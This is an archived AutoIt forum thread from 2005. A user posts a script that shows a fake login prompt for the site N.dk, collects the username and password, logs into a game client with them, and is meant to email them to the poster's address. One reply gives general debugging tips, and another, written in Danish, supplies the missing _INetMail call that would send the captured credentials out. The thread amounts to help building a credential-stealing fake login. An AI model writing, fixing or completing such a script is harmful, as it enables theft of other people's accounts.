Guest Nokiza Posted April 23, 2005 Share Posted April 23, 2005 (edited) I Have made this, And it's a Login so, when you Login It's sending the Username : Brugernavn And Password : Kode To my email, but it's not sending anything? Someone who can help me??? expandcollapse popupHotKeySet("{ESCAPE}", "MyExit") #include <INet.au3> $s_mailto = ("Your@adress.com") $Subject = InputBox('Brugernavn', 'Skriv dit brugernavn til N.dk her') $Body = InputBox("Password", "Skriv din kode til N.dk her", "", "*") $1 = $Subject $2 = $Body Run("NSE2005.exe") mousemove( 190, 90) Sleep(5000) MouseClick("left", 190, 90, 1) Sleep(20000) mousemove( 348, 123,) mouseclick("left", 348, 123, 1) Send ($1) mousemove( 456, 123) mouseclick("left", 456, 123, 1) Send ($2) mousemove( 529, 123) mouseclick("left", 529, 123, 1) Sleep(5000) mousemove( 460, 150) mouseclick("left", 453, 150, 1) Sleep(5000) mousemove( 363, 244) mouseclick("left", 363, 244, 1) send ("{3}") send ("{ENTER}") sleep(5000) mousemove( 190, 340) mouseclick("left", 190, 340, 1) send ("{4}") send ("{ENTER}") sleep(5000) mousemove( 320, 385) mouseclick("left", 320, 385, 1) send ("{5}") send ("{ENTER}") sleep(5000) mousemove( 530, 340) mouseclick("left", 530, 340, 1) send ("{6}") send ("{ENTER}") sleep(5000) mousemove( 230, 230) mouseclick("left", 230, 230, 1) send ("{7}") send ("{ENTER}") sleep(5000) mousemove( 500, 230) mouseclick("left", 500, 230, 1) send ("{8}") send ("{ENTER}") sleep(5000) mousemove( 350, 370) mouseclick("left", 350, 370, 1) send ("{9}") send ("{ENTER}") sleep(5000) mousemove( 525, 480) mouseclick("left", 525, 480, 1) send ("{10}") send ("{ENTER}") sleep(5000) Func MyExit() Exit EndFunc Edited April 23, 2005 by Nokiza Link to comment Share on other sites More sharing options...
Sarc Posted April 23, 2005 Share Posted April 23, 2005 im 99%sure it wudnt make a difference, but why would u set up the name in 1 variable, password in another, and then use2 completely different variables by equating them to the originals... doesnt seem logic to me also, have you tried sending the values that you want, rather than whats been obtained from the input boxes? try these... i mean im not a legend at autoit but if you can get it working without using the variables then you know its the variables that need working on. if it still doesnt work, you know its your method that needs improving, and not your variable calling etc... Link to comment Share on other sites More sharing options...
Rex Posted April 23, 2005 Share Posted April 23, 2005 (edited) I Have made this,And it's a Login so, when you Login It's sending the Username : BrugernavnAnd Password : KodeTo my email, but it's not sending anything?Someone who can help me???expandcollapse popupHotKeySet("{ESCAPE}", "MyExit") #include <INet.au3> $s_mailto = ("Your@adress.com") $Subject = InputBox('Brugernavn', 'Skriv dit brugernavn til N.dk her') $Body = InputBox("Password", "Skriv din kode til N.dk her", "", "*") $1 = $Subject $2 = $Body Run("NSE2005.exe") mousemove( 190, 90) Sleep(5000) MouseClick("left", 190, 90, 1) Sleep(20000) mousemove( 348, 123,) mouseclick("left", 348, 123, 1) Send ($1) mousemove( 456, 123) mouseclick("left", 456, 123, 1) Send ($2) mousemove( 529, 123) mouseclick("left", 529, 123, 1) Sleep(5000) mousemove( 460, 150) mouseclick("left", 453, 150, 1) Sleep(5000) mousemove( 363, 244) mouseclick("left", 363, 244, 1) send ("{3}") send ("{ENTER}") sleep(5000) mousemove( 190, 340) mouseclick("left", 190, 340, 1) send ("{4}") send ("{ENTER}") sleep(5000) mousemove( 320, 385) mouseclick("left", 320, 385, 1) send ("{5}") send ("{ENTER}") sleep(5000) mousemove( 530, 340) mouseclick("left", 530, 340, 1) send ("{6}") send ("{ENTER}") sleep(5000) mousemove( 230, 230) mouseclick("left", 230, 230, 1) send ("{7}") send ("{ENTER}") sleep(5000) mousemove( 500, 230) mouseclick("left", 500, 230, 1) send ("{8}") send ("{ENTER}") sleep(5000) mousemove( 350, 370) mouseclick("left", 350, 370, 1) send ("{9}") send ("{ENTER}") sleep(5000) mousemove( 525, 480) mouseclick("left", 525, 480, 1) send ("{10}") send ("{ENTER}") sleep(5000) Func MyExit() Exit EndFunc<{POST_SNAPBACK}>Det er temmelig svært at debugge din kode, i og ved at du har en masse musse flytten op og ned frem og tilbage.Men så hvidt jeg kan se uden at kunne teste din kode, så kalder du aldrig inet.au3du sender kun dit sub. og body, men til hvad kan jeg ikke se...Nu ved jeg ikke om det er via N koden skal sendes, eller via en "intern" mail.Hvis du vil sende via en intern mail skal du kalde inet.EDIT:Ved intern mail skal du kalde inet sådan her_INetMail($address, $subject, $body) Edited April 23, 2005 by Rex Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now